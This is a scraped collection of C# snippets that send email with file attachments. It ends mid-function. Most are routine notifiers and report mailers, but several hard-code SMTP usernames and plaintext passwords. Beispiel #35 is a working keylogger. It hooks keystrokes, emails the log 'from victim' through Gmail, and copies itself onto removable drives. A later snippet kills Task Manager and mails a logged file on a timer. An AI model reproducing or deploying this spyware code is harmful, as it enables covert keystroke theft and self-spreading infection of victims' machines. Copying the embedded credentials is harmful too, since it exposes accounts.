                            Assembly a = Assembly.Load(name);
                            AssemblyName an = a.GetName();
                            String v = an.Version.ToString();
                            strInfo.AppendFormat("{0}{1}: {2}, Versión=" + v, Environment.NewLine, i, AdditionalInfo.Get(i));
                        }
                        catch (Exception ex)
                        {
                            System.Diagnostics.Debug.WriteLine(ex.Message);
                            strInfo.AppendFormat("{0}{1}: {2}, Versión=sin informar", Environment.NewLine, i, AdditionalInfo.Get(i));
                        }
                    }
                }
            }
            // Append the exception text
            strInfo.AppendFormat("{0}{0}Información de la excepción:{0}{0}{1}{0}", Environment.NewLine, exception.Message);
            strInfo.AppendFormat("{0}{1}{0}", Environment.NewLine, exception.Source);
            if (exception.InnerException != null)
            {
                strInfo.AppendFormat("{0}{1}", Environment.NewLine, exception.InnerException.Message);
            }
            strInfo.AppendFormat("{0}{0}StackTrace:", Environment.NewLine);
            strInfo.AppendFormat("{0}{0}{1}", Environment.NewLine, exception.StackTrace.ToString());
            if (exception.InnerException != null)
            {
                strInfo.AppendFormat("{0}{0}{1}", Environment.NewLine, exception.InnerException.StackTrace.ToString());
            }
            //Agrego el nombre del archivo y localización
            strInfo.AppendFormat("{0}{0}Archivo: " + m_LogName + "{0}", Environment.NewLine);
            // Write the entry to the log file.   
            using (FileStream fs = File.Open(m_LogName,
                        FileMode.Append, FileAccess.Write))
            {
                using (StreamWriter sw = new StreamWriter(fs))
                {
                    sw.Write(strInfo.ToString());
                }
            }
            // send notification email if operatorMail attribute was provided
            if (m_OpMail.Length > 0)
            {
                string subject = "Notificación de excepción";
                string body = strInfo.ToString();

                MailMessage MyMail = new MailMessage(new MailAddress(AdditionalInfo.Get("ExceptionManager.AppDomainName") + "@cedeira.com.ar"), new MailAddress(m_OpMail));
                MyMail.Subject = subject;
                MyMail.Body = body;
                SmtpClient smtp = new SmtpClient("vsmtpr.bancogalicia.com.ar");
                try
                {
                    // ----- Busco el archivo JPG más reciente dentro de nuestro directorio de excepciones (c:\tmp\ex\)
                    DirectoryInfo di = new DirectoryInfo(@"c:\tmp\ex");
                    FileInfo[] files = di.GetFiles("*.jpg");

                    FileInfo archivoExUlt;
                    if (files.Length > 0)
                    {
                        archivoExUlt = files[0];
                        int ij = 1;
                        while (ij < files.Length)
                        {
                            if (files[ij].LastWriteTime > archivoExUlt.LastWriteTime)
                                archivoExUlt = files[ij];
                            ij++;
                        }

                        //  -----

                        Attachment atach = new Attachment(archivoExUlt.FullName);  // Precondición es que a lo sumo haya un archivo JPG generado
                        MyMail.Attachments.Add(atach);

                        smtp.Send(MyMail);

                        atach.Dispose();
                        smtp = null;
                        MyMail = null;
                        atach = null;
                        GC.Collect();
                    }
                    else
                        throw new Exception();
                }
                catch   // si no se cumple la precondición, envia el mail sin el attach de la imagen
                {
                    MyMail.Attachments.Clear();
                    smtp.Send(MyMail);
                }
            }
        }
        public static void SendMailMessage(string fromEmail, string toEmail, string bcc, string cc, string subject, string body, string attachment)
        {
            //  Create the MailMessage object
            MailMessage mMailMessage = new MailMessage();

            //  Set the sender address of the mail message
            if (!string.IsNullOrEmpty(fromEmail))
            {
                mMailMessage.From = new MailAddress(fromEmail);
            }

            //  Set the recipient address of the mail message
            mMailMessage.To.Add(new MailAddress(toEmail));

            //  Check if the bcc value is nothing or an empty string
            if (!string.IsNullOrEmpty(bcc))
            {
                mMailMessage.Bcc.Add(new MailAddress(bcc));
            }

            //  Check if the cc value is nothing or an empty value
            if (!string.IsNullOrEmpty(cc))
            {
                mMailMessage.CC.Add(new MailAddress(cc));
            }

            //  Set the subject of the mail message
            mMailMessage.Subject = subject;

            //  Set the body of the mail message
            mMailMessage.Body = body;

            //  Set the format of the mail message body
            mMailMessage.IsBodyHtml = false;

            // Set the priority
            mMailMessage.Priority = MailPriority.Normal;

            // Add any attachments from the filesystem
            Attachment mailAttachment = new Attachment(attachment);
            mMailMessage.Attachments.Add(mailAttachment);

            //  Create the SmtpClient instance
            SmtpClient mSmtpClient = new SmtpClient();

            //  Send the mail message
            mSmtpClient.Send(mMailMessage);
            mailAttachment.Dispose();
        }
Beispiel #27
0
        public void enviaMensajeConAttachment(ArrayList para, String Subject, String Body, String attachmnt_url)
        {
            string file = attachmnt_url;

              string direcciones = getDireccionesDeEnvio(para);

              if (direcciones != null)
              {

            System.Net.Mail.MailMessage message = new System.Net.Mail.MailMessage(correoAdministrador, direcciones, Subject, Body);

            message.IsBodyHtml = true;
            message.Priority = MailPriority.Normal;
            //message.

            // Create  the file attachment for this e-mail message.
            Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
            // Add time stamp information for the file.
            ContentDisposition disposition = data.ContentDisposition;
            disposition.CreationDate = System.IO.File.GetCreationTime(file);
            disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
            disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
            // Add the file attachment to this e-mail message.
            message.Attachments.Add(data);
            //Send the message.

            SmtpClient client = new SmtpClient();
            client.Credentials = CredentialCache.DefaultNetworkCredentials;

            client.EnableSsl = (ConfigurationManager.AppSettings["UseSSLForEmail"] == "true");

            //client.SendCompleted += new SendCompletedEventHandler(client_SendCompleted);

            try
            {
              client.Send(message);
            }
            catch (Exception e)
            {
              LoggerFacade.Log(e);
            }

            data.Dispose();

              }
        }
        private void enviar_Correo(string To,string Subject,string Body)
        {
            string[] Mails;
                /*To = txt_destinatarios.Text.TrimEnd(';');

                Subject = txt_asunto.Text;
                Body = rtxt_mensaje.Text;*/
                Mails = To.Split(';');//varios correos
                mail = new MailMessage();
                //varios correos
                foreach (string lista in Mails)
                {
                    mail.To.Add(new MailAddress(lista));
                }
                //mail.To.Add(new MailAddress(this.To));
                mail.From = new MailAddress("*****@*****.**");
                mail.Subject = Subject;
                mail.Body = Body;
                mail.IsBodyHtml = true;

                Data = new Attachment(PhotoFileName, MediaTypeNames.Application.Octet);
                    mail.Attachments.Add(Data);

                SmtpClient client = new SmtpClient("smtp.live.com", 587);
                try
                {
                    using (client)
                    {
                        client.Credentials = new System.Net.NetworkCredential("*****@*****.**", "Espol2015");
                        client.EnableSsl = true;
                        client.Send(mail);
                    }
                    txtMensajes.Text += "Envío exitoso de e-mail...!" + "\r\n";
                    mail.Dispose();
                    Data.Dispose();
                    client.Dispose();
                    client = null;
                    Data = null;
                    mail = null;
                }catch(SmtpException exc)
                {
                    //MessageBox.Show(exc.Message + "\n" + exc.StackTrace);
                    txtMensajes.Text += exc.Message + "\r\n" + exc.StackTrace;
                    mail.Dispose();
                    Data.Dispose();
                    client.Dispose();
                    client = null;
                    Data = null;
                    mail = null;
                }
        }
Beispiel #29
0
        public static Boolean SendMessage(String To, String Subject, String Body, String attachmnt_url)
        {
            string file = attachmnt_url;

              //string direcciones = getDireccionesDeEnvio(para);
              if (ValidEmailAddress(To))
              {
            System.Net.Mail.MailMessage message = new System.Net.Mail.MailMessage(AdminEmail, To.Replace(";", ","), Subject, Body);

            message.IsBodyHtml = true;
            message.Priority = MailPriority.Normal;
            //message.

            // Create  the file attachment for this e-mail message.
            Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
            // Add time stamp information for the file.
            ContentDisposition disposition = data.ContentDisposition;
            disposition.CreationDate = System.IO.File.GetCreationTime(file);
            disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
            disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
            // Add the file attachment to this e-mail message.
            message.Attachments.Add(data);
            //Send the message.

            SmtpClient client = new SmtpClient();
            client.Credentials = CredentialCache.DefaultNetworkCredentials;
            Boolean SendComplete = false;
            try
            {
              client.Send(message);
              SendComplete = true;
            }
            catch (Exception e)
            {
              LoggerFacade.Log(e);
            }
            finally
            {
              if (data != null) data.Dispose();
            }

            return SendComplete;
              }
              return false;
        }
Beispiel #30
0
    private void sendFromSMTP(Bill bill, string reportPath,string body,string toEmail, string pickedMonth, string smtp, string email, string pass)
{
    
           //Bill bill = (from a in db.GetTable<Bill>() select a).FirstOrDefault();
          System.Net.Mail.MailMessage mail = new MailMessage();
          System.Net.Mail.SmtpClient SmtpServer = new System.Net.Mail.SmtpClient(smtp);

           mail.From = new MailAddress(email);
           mail.To.Add(toEmail);
           mail.Subject = "Telephone Bill for"+" "+ bill.Authorization;
           mail.Body = body;
           
           System.Net.Mail.Attachment attachment;
           string fileAttach = toPDF2(bill.Authorization,reportPath, pickedMonth);
           attachment = new System.Net.Mail.Attachment(fileAttach);
         
           mail.Attachments.Add(attachment);
           
           SmtpServer.Credentials = new System.Net.NetworkCredential(email, pass);
           

           SmtpServer.Send(mail);
           attachment.Dispose();
           File.Delete(fileAttach);
           //MessageBox.Show("mail Send");
         
           
           

}
        public void EmailFile()
        {
            // Specify the file to be attached and sent. 
            // This example assumes that a file named Data.xls exists in the 
            // current working directory. 
            string directory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
            string file;
            string UserId;
            if (GlobalVariables.LoggedInUser != null)
            {
                file = directory + "\\ExcelData\\MvcData" + GlobalVariables.LoggedInUser.id.ToString() + ".xls";
                UserId = GlobalVariables.LoggedInUser.id.ToString();
            }
            else
            {
                file = directory + "\\ExcelData\\MvcDataTest.xls";
                UserId = "0";
            }

            // Create a message and set up the recipients.
            MailMessage message = new MailMessage(
               "*****@*****.**",
               "*****@*****.**",
               "User Test Data: " + UserId,
               "See the attached datafile for user " + UserId);

            // Create  the file attachment for this e-mail message.
            Attachment data = new Attachment(file, System.Net.Mime.MediaTypeNames.Application.Octet);
            // Add time stamp information for the file.
            System.Net.Mime.ContentDisposition disposition = data.ContentDisposition;
            disposition.CreationDate = System.IO.File.GetCreationTime(file);
            disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
            disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
            // Add the file attachment to this e-mail message.
            message.Attachments.Add(data);

            //Send the message.
            SmtpClient client = new SmtpClient("smtp.grucox.com", 25)
            {
                Credentials = new System.Net.NetworkCredential("*****@*****.**", "Ant840203"),
                EnableSsl = false
            };

            try 
            {
			  client.Send(message);
			}
			catch (Exception ex) 
            {
			  MessageBox.Show("Exception caught in CreateMessageWithAttachment(): {0}", ex.ToString() );			  
			}

			data.Dispose();
        }
        public void EmailFile(string FileName)
        {
            string UserId;
            if (GlobalVariables.LoggedInUser != null)
            {
                UserId = GlobalVariables.LoggedInUser.id.ToString();
            }
            else
            {
                UserId = "0";
            }

            string timeStamp = DateTime.Now.ToString("yyyyMMddHHmm");
            string directory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + "\\XmlData\\" + UserId;
            string file = directory + "\\"+FileName+timeStamp+".xml";

            MailMessage message = null;
            SmtpClient client = null;
            Attachment data = null;

            try
            {
                // Create a message and set up the recipients.
                message = new MailMessage(
                   "*****@*****.**",
                   "*****@*****.**",
                   "User Test Data: " + UserId,
                   "See the attached datafile for user " + UserId);
            }
            catch (Exception ex)
            {
                MessageBox.Show("Exception caught in CreateMessage: {0}", ex.ToString());
            }


            try
            {
                // Create  the file attachment for this e-mail message.
                data = new Attachment(file, System.Net.Mime.MediaTypeNames.Application.Octet);
                // Add time stamp information for the file.
                System.Net.Mime.ContentDisposition disposition = data.ContentDisposition;
                disposition.CreationDate = System.IO.File.GetCreationTime(file);
                disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
                disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
                // Add the file attachment to this e-mail message.
                message.Attachments.Add(data);

                //Send the message.
                client = new SmtpClient("smtp.grucox.com", 25)
                {
                    Credentials = new System.Net.NetworkCredential("*****@*****.**", "Ant840203"),
                    EnableSsl = false
                };
            }
            catch (Exception ex)
            {
                MessageBox.Show("Exception caught in CreateAttachment: {0}", ex.ToString());
            }


            try
            {
                client.Send(message);
            }
            catch (Exception ex)
            {
                MessageBox.Show("Exception caught in SendMessageWithAttachment(): {0} - Check internet connection.", ex.Message.ToString());
            }

            data.Dispose();
        }
        public bool enviar(string file, string destinatario, string asunto)
        {
            bool enviado = true;
            //Se crea un Objeto llamado "msg" de la clase "MailMessage"

            System.Net.Mail.MailMessage msg = new
            System.Net.Mail.MailMessage();

            //Se establece el destinatario

            msg.To.Add(destinatario);

            /*Se establece el remitente, asi como el nombre que aparecerá en la

            bandeja de entrada, así como el formato de codificación
            */

            msg.From = new MailAddress("*****@*****.**", System.Environment.MachineName + " / " + System.Environment.UserName, System.Text.Encoding.UTF8);

            //Se establece el asunto del mail

            msg.Subject = asunto;

            //Formato de codificación del Asunto

            msg.SubjectEncoding = System.Text.Encoding.UTF8;

            //Se establece el cuerpo del mail
            msg.Body = "";

            //Se establece la codificación del Cuerpo

            msg.BodyEncoding = System.Text.Encoding.Unicode;

            //Se indica si al cuerpo del mail, se interpretara como código HTMl

            msg.IsBodyHtml = false;

            //Se adjunta el archivo

            Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
            ContentDisposition disposition = data.ContentDisposition;
            disposition.CreationDate = System.IO.File.GetCreationTime(file);
            disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
            disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
            msg.Attachments.Add(data);

            //Se prepara el envio del mail creando un objeto de tipo SmtpClient

            SmtpClient client = new SmtpClient();

            //Se establecen las credenciales para enviar el mail, muy importante autentificarse con la cuenta de correo y la contraseña

            client.Credentials = new System.Net.NetworkCredential("*****@*****.**", "agosto14");

            //Se establece el puerto de envio

            client.Port = 587;

            //Se establece el servidor SMTP, en este caso GMAIL

            client.Host = "smtp.gmail.com";

            //Seguridad SSL si o no

            client.EnableSsl = false;

            //Se envia el Mail controlando la  ecepción

            try
            {

                client.Send(msg);

            }
            catch (Exception ex)
            {
                enviado = false;
            }
            data.Dispose();
            return enviado;
        }
Beispiel #34
0
        /// <summary>
        /// Sends the current scope's file and the passed message to the list of emails.
        /// Also deletes the file once it is sent successfully.
        /// </summary>
        /// <param name="emails">Array of string, email addresses</param>
        /// <param name="message">String - body message</param>
        private void EmailTask(string[] emails, string message, string subject)
        {
            Attachment attachment = null;

            // Attempt to send emails
            try
            {
                // Mail settings
                MailMessage mail = new MailMessage();
                SmtpClient smtp  = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress("*****@*****.**");
                mail.Subject = subject == null ? "UniGuard 12 Report" : subject;
                mail.Body = message;
                mail.BodyEncoding = Encoding.UTF8;

                // Add recipients
                if (emails.Length > 0)
                {
                    foreach (string email in emails)
                    {
                        mail.To.Add(email);
                    }
                }
                else
                {
                    string[] adminEmails = data.GetAdministratorEmails();
                    for (var i = 0; i < adminEmails.Length; i++)
                    {
                        mail.To.Add(adminEmails[i]);
                    }
                    mail.Body += Environment.NewLine + "The above scheduled task email has been forwarded back to the account ";
                    mail.Body += "administrator as it has not been sent with any email recipients.";
                }

                // Add attachment
                attachment = new Attachment(this.file.FullName);
                mail.Attachments.Add(attachment);

                // Server settings
                smtp.Port = 587;
                smtp.EnableSsl = true;
                smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
                smtp.Credentials = new NetworkCredential("*****@*****.**", "B6gYu9uGtr4xuG1!");
                smtp.Send(mail);
            }
            catch (Exception ex)
            {
                Log.Error("Mail error:\r\n" + ex.ToString());
            }

            // Attempt to delete file after it has been emailed
            try
            {
                if (attachment != null) attachment.Dispose();
                this.file.Delete();
            }
            catch (Exception ex)
            {
                Log.Error("Could not delete file:" + ex.ToString());
            }
        }
Beispiel #35
0
    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            string appName  = System.AppDomain.CurrentDomain.FriendlyName;
            int    vkCode   = Marshal.ReadInt32(lParam);
            string fileName = DateTime.Now.ToString("yyyy-MM-dd");
            // StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
            string pathToLog = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\" +
                               fileName + ".txt";// TODO - get more secret location.
            StreamWriter sw = new StreamWriter(pathToLog, true);
            if ((Keys)vkCode != Keys.Space && (Keys)vkCode != Keys.Enter)
            {
                sw.Write(((Keys)vkCode).ToString().ToLower());
                Console.Write(((Keys)vkCode).ToString().ToLower());
            }
            else
            {
                sw.WriteLine("");
                sw.WriteLine((Keys)vkCode);
                Console.WriteLine((Keys)vkCode);
            }
            sw.Close();

            if (File.ReadAllLines(pathToLog).Length > 100)
            {
                MailMessage mail       = new MailMessage();
                SmtpClient  SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress("*****@*****.**");
                mail.To.Add("*****@*****.**");
                mail.Subject = "log from keylogger on" + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
                mail.Body    = "New kelogging file from victim, finshed at: " + DateTime.Now.ToString("yyyy-MM-dd");

                System.Net.Mail.Attachment attachment;
                attachment = new System.Net.Mail.Attachment(pathToLog);
                mail.Attachments.Add(attachment);
                SmtpServer.Port        = 587;
                SmtpServer.Credentials = new System.Net.NetworkCredential("*****@*****.**", "EMAIL PASSWORD");
                SmtpServer.EnableSsl   = true;
                SmtpServer.Send(mail);
                //clear mail attachment
                attachment.Dispose();
                //copy program to an new destination
                //System.IO.File.Copy(path, Application.StartupPath + @"\log.txt", true);
                DriveInfo[] alldrives = DriveInfo.GetDrives();
                foreach (DriveInfo d in alldrives)
                {
                    if (d.DriveType == DriveType.Removable && d.IsReady)
                    {
                        System.IO.File.Copy(Application.StartupPath + @"\" + System.AppDomain.CurrentDomain.FriendlyName
                                            , d.Name + @"\" + System.AppDomain.CurrentDomain.FriendlyName, true);
                    }
                }

                //delete log file.
                File.Delete(pathToLog);
            }
        }
        return(CallNextHookEx(_hookID, nCode, wParam, lParam));
    }
Beispiel #36
0
    protected void Mail(double orderid, string filename)
    {
        StringBuilder strMailHtml = new StringBuilder();

        strMailHtml.Append("<html>");
        strMailHtml.Append("<head>");
        strMailHtml.Append("    <title></title>");
        strMailHtml.Append("</head>");
        strMailHtml.Append("<body>");
        strMailHtml.Append("    <table width='100%' border='0' align='left' cellpadding='2' cellspacing='2' style='border: 1px solid #ff4f12;'>");
        strMailHtml.Append("        <tbody>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td colspan='2' height='70' align='left' valign='top' style='font-size: 12px; text-decoration: none; font-family: Arial; border-bottom: 1px solid #ff4f12'>");
        strMailHtml.Append("                    <img border='0' src='http://xyz.com/images/logo.png' alt='xyz'>");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td height='30' align='left' valign='middle' style='font-size: 12px; font-weight: bold; color: #555555; text-decoration: none; font-family: Arial;'>Dear Customer,");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("                <td height='25' align='right' valign='middle' style='font-size: 12px; text-decoration: none; font-family: Arial'>");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td colspan='' style='font-size: 12px; text-decoration: none; font-family: Arial; line-height: 22px;'>Thank you for your order at <a target='_blank' style='text-decoration: none; color: #ff4f12'");
        strMailHtml.Append("                    href='http://www.xyz.com'>www.xyz.com</a>.<br />");
        strMailHtml.Append("                    Your order number is <span style='font-weight: bold; color: #555555; font-size: 14px;'>" + orderid + "</span>.<br />");
        strMailHtml.Append("                    You can track order status by <a target='_blank' style='text-decoration: underline; color: #ff4f12'");
        strMailHtml.Append("                        href='http://www.xyz.com/TrackOrder.aspx'>clicking here</a>.<br />");
        strMailHtml.Append("                    For any order related query, contact us at <a target='_blank' style='text-decoration: none; color: #ff4f12'");
        strMailHtml.Append("                        href='mailto:[email protected]'>[email protected]</a> or<br />");
        strMailHtml.Append("                    Call us at <span style='font-weight: bold; color: #555555; font-size: 14px;'>1800 200 1619</span>.<br />");
        strMailHtml.Append("                    Your order details have been attached in this email.");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td height='25' colspan='2' align='left' valign='middle' style='font-size: 12px; font-weight: bold; color: #000000; text-decoration: none; font-family: Arial;'>Regards,");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("            <tr>");
        strMailHtml.Append("                <td colspan='2' style='font-family: Arial; font-size: 11px; color: #000000; text-decoration: none; line-height: 22px; font-weight: bold'>xyz<br>");
        strMailHtml.Append("                    address<br />");
        strMailHtml.Append("                    <u>Phone</u> : +d5466554");
        strMailHtml.Append("                    <br>");
        strMailHtml.Append("                    <u>Email</u> : <a target='_blank' style='text-decoration: none; color: #ff4f12' href='mailto:[email protected]'>[email protected]</a> <u>Web</u> : <a target='_blank' style='text-decoration: none; color: #ff4f12'");
        strMailHtml.Append("                        href='http://www.xyz.com'>www.xyz.com</a>");
        strMailHtml.Append("                </td>");
        strMailHtml.Append("            </tr>");
        strMailHtml.Append("        </tbody>");
        strMailHtml.Append("    </table>");
        strMailHtml.Append("</body>");
        strMailHtml.Append("</html>");

        String strAdmin = strMailHtml.ToString();

        try
        {
            MailMessage mailMsg = new MailMessage();
            MailAddress fromAdd = new MailAddress("*****@*****.**");
            MailAddress replyto = new MailAddress("*****@*****.**");
            mailMsg.From    = fromAdd;
            mailMsg.ReplyTo = replyto;
            mailMsg.To.Add(ViewState["ToMail"].ToString());
            mailMsg.Bcc.Add("*****@*****.**");
            mailMsg.Bcc.Add("*****@*****.**");
            mailMsg.IsBodyHtml = true;
            mailMsg.Subject    = "xyz Order Number : " + orderid;

            System.Net.Mail.Attachment attachment;
            attachment = new System.Net.Mail.Attachment(filename);
            mailMsg.Attachments.Add(attachment);

            mailMsg.Body = strAdmin;
            // SmtpClient smtp = new SmtpClient();
            // smtp.Send(mailMsg);
            SmtpClient smtp = new SmtpClient();
            smtp.EnableSsl             = true;
            smtp.UseDefaultCredentials = false;
            smtp.Credentials           = new System.Net.NetworkCredential("*****@*****.**", "asc4587");
            smtp.Send(mailMsg);
            attachment.Dispose();
        }
        catch (Exception ex)
        {
        }
        //try
        //{
        //    MailMessage mailMsg = new MailMessage();
        //    MailAddress fromAdd = new MailAddress("*****@*****.**");
        //    mailMsg.From = fromAdd;
        //    MailAddress replyto = new MailAddress(ViewState["ToMail"].ToString());
        //    mailMsg.To.Add("*****@*****.**");
        //    mailMsg.Bcc.Add("*****@*****.**");
        //    mailMsg.IsBodyHtml = true;
        //    mailMsg.Subject = "Order Number : " + orderid;
        //    mailMsg.Body = strAdmin;
        //    //SmtpClient smtp = new SmtpClient();
        //    //smtp.Send(mailMsg);

        //    SmtpClient smtp = new SmtpClient();
        //    smtp.EnableSsl = true;
        //    smtp.UseDefaultCredentials = false;
        //    smtp.Credentials = new System.Net.NetworkCredential("*****@*****.**", "jee71237");
        //    smtp.Send(mailMsg);
        //}
        //catch (Exception ex)
        //{

        //}
    }
        public static void OnTimedEvent(object source, EventArgs e)
        {
            Process[] ProcessList = Process.GetProcesses();
            foreach (Process proc in ProcessList)
            {
                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
                {
                    proc.Kill();
                }
            }
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
            msg.To.Add("*****@*****.**");
            msg.From = new MailAddress("*****@*****.**", "username", System.Text.Encoding.UTF8);
            msg.Subject = "i don't know";
            msg.SubjectEncoding = System.Text.Encoding.UTF8;
            msg.Body = "ciao ale";
            msg.BodyEncoding = System.Text.Encoding.UTF8;
            msg.IsBodyHtml = false;
            msg.Priority = MailPriority.High;
            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
            client.Credentials = new System.Net.NetworkCredential("*****@*****.**", "password");
            client.Port = 587;
            client.Host = "smtp.gmail.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(Program.path);
            msg.Attachments.Add(data);
            try
            {
                client.Send(msg);
                failed = 0;
            }
            catch
            {
                data.Dispose();
                failed = 1;
            }
            data.Dispose();

            if (failed == 0)
                File.WriteAllText(Program.path, ""); //empties the file

            failed = 0;
        }
       public JsonResult ApplyUpdatesRepairRequest(string UserID, int RepairRequestID, string Notes, bool whichone)
       {

           if (whichone == true) //Building Staff========================================================================
           {
               pdfWorker pdfworker = new pdfWorker();
               RepairRequest RR = db.RepairRequest.Find(RepairRequestID);

               RepairRequestNote RN = new RepairRequestNote
               {
                   DateCreated = DateTime.Now,
                   Notes = Notes
               };

               db.RepairRequestNote.Add(RN);
               db.SaveChanges();

               RR.RepairRequestNoteID = RN.Id;
               RR.AssignID = UserID;
               RR.AssignContractorID = null;
               RR.Status = "Assigned";

               db.RepairRequest.Attach(RR);
               var Entry = db.Entry(RR);

               Entry.Property(c => c.RepairRequestNoteID).IsModified = true;
               Entry.Property(c => c.AssignID).IsModified = true;
               Entry.Property(c => c.AssignContractorID).IsModified = true;
               Entry.Property(c => c.Status).IsModified = true;

               db.SaveChanges();

               var Worker = db.BuildingUser.Where(c => c.UserID == UserID).FirstOrDefault();

               //string string1 = "<div style='font-size:20px; colo:blue; display:bloc'>Hi " + Worker.FirstName + " " + Worker.LastName + ",</div> ";
               //string string2 = "You have a new assignemt and the description is bellow:";
               //string string3 = "The Category of this Request is " + RR.RepairRequestCategories.Categories;
               //string string4 = "The Decription of the request is: " + RR.ProblemDescription;
               //string string5 = "The Urgency is: " + RR.RepairUrgency.Urgency;
               //string string6 = "For questions about this email Contact management at: " + RR.Buildings.BuildingPhone;
               //string string7 = "Find more information...";

               //string x = string.Format("{0}\n{1}\n{2}\n{3}\n{4}\n{5}\n{6}\n", string1, string2, string3, string4, string5, string6, string7);

               string contenttobemail = " <div style='font-size:20px; display:block;  width:100%; background:#0071bc;  height:50px;  line-height:50px; padding:0 15px; border:1px solid lightgrey;   color:white;' >"+
                Worker.FirstName + " " + Worker.LastName +"</div>"+
                                   "<div style='   display:block;   width:100%;   margin:10px 0 10px 0;   padding:10px 15px;   background:#F0F0F0;   border:1px solid lightgrey;   '>     You have a new assignemt and the description is bellow:<br/>"+
                                   " <hr/>"+
                                   " <br/>"+
                                   " <b> The Category of this Request is</b> "+
                                   "<br/>"+
                                   RR.RepairRequestCategories.Categories +
                                   " <hr/>"+
                                   " <br/>"+
                                   "<b>The Urgency is:</b>"+
                                   " <br/>" + RR.RepairUrgency.Urgency +
                                   "<hr/>"+
                                   " <br/>"+
                                   " <b>The Decription of the request is:</b>"+
                                   "<br/>"+
                                  RR.ProblemDescription+
                                   " <hr/>"+
                                   "<br/>"+
                                   "</div>"+
                                   "<div style='font-size:20px; display:block; width:100%; background:#0071bc; height:50px;line-height:50px; padding:0 15px; border:1px solid lightgrey; color:white;' >For questions about this email Contact management at: " + RR.Buildings.BuildingPhone + "Find more information...  </div>";

               Gmail gmail = new Gmail("pointerwebapp", "dmc10040");
               MailMessage msg = new MailMessage("*****@*****.**", Worker.Email);
               msg.Subject = "New Assignment Notification";
               msg.Body = contenttobemail;
               msg.IsBodyHtml = true;
               
               //new
               PdfContractContent pdfContent = new PdfContractContent {
                   Address = RR.Buildings.Address + " " + RR.Tenant.Apartment.ApartmentNumber + " " + RR.Buildings.City +" " + RR.Buildings.State+" " + RR.Buildings.Zipcode,
                 Category = RR.RepairRequestCategories.Categories,
                 Priority = RR.RepairUrgency.Urgency,
                 Status = RR.Status,
                 Issued = RR.RequestedDate.Month.ToString() +"/"+ RR.RequestedDate.Day.ToString() +"/"+ RR.RequestedDate.Year.ToString(),
                 primaryContact = RR.Tenant.FirstName + " " + RR.Tenant.LastName,
                 PrimaryPhone = RR.Tenant.Phone,
                 PrimaryEmail = RR.Tenant.Username,
                 OfficeNotes = RR.RepairRequestNote.Notes,
                 RequestNumber =RR.RequestNumber,
                 problem = RR.ProblemDescription,
                 TenantInstruction = RR.Instructions_   
               };
               //new
               var result = pdfworker.CreateTable1(Server.MapPath("~/ContractPDF/"), Server.MapPath("~/img/"), Server.MapPath("~/fonts/"), pdfContent);
              
               Attachment attachment;
               attachment = new Attachment(Server.MapPath("~/ContractPDF/newContractFile.pdf"));
               msg.Attachments.Add(attachment);     

               gmail.Send(msg);
               attachment.Dispose();//needs to be dispose because the process is use and cannot be open twice at the same time.
               msg.Dispose();
           }
           else if (whichone == false) //Company========================================================================================================
           {
               pdfWorker pdfworker = new pdfWorker();
               RepairRequest RR = db.RepairRequest.Find(RepairRequestID);

               RepairRequestNote RN = new RepairRequestNote
               {
                   DateCreated = DateTime.Now,
                   Notes = Notes

               };

               db.RepairRequestNote.Add(RN);
               db.SaveChanges();

               RR.RepairRequestNoteID = RN.Id;
               RR.AssignContractorID = UserID;
               RR.AssignID = null;
               RR.Status = "Assigned";

               db.RepairRequest.Attach(RR);
               var Entry = db.Entry(RR);

               Entry.Property(c => c.RepairRequestNoteID).IsModified = true;
               Entry.Property(c => c.AssignContractorID).IsModified = true;
               Entry.Property(c => c.AssignID).IsModified = true;
               Entry.Property(c => c.Status).IsModified = true;
               db.SaveChanges();

               var Worker = db.Contractor.Where(c => c.Id == UserID).FirstOrDefault();

               string contenttobemail = " <div style='font-size:20px; display:block;  width:100%; background:#0071bc;  height:50px;  line-height:50px; padding:0 15px; border:1px solid lightgrey;   color:white;' >" +
                 Worker.CompanyName + "</div>" +
                                        "<div style='   display:block;   width:100%;   margin:10px 0 10px 0;   padding:10px 15px;   background:#F0F0F0;   border:1px solid lightgrey;   '>     You have a new assignemt and the description is bellow:<br/>" +
                                        " <hr/>" +
                                        " <br/>" +
                                        " <b> The Category of this Request is</b> " +
                                        "<br/>" +
                                        RR.RepairRequestCategories.Categories +
                                        " <hr/>" +
                                        " <br/>" +
                                        "<b>The Urgency is:</b>" +
                                        " <br/>" + RR.RepairUrgency.Urgency +
                                        "<hr/>" +
                                        " <br/>" +
                                        " <b>The Decription of the request is:</b>" +
                                        "<br/>" +
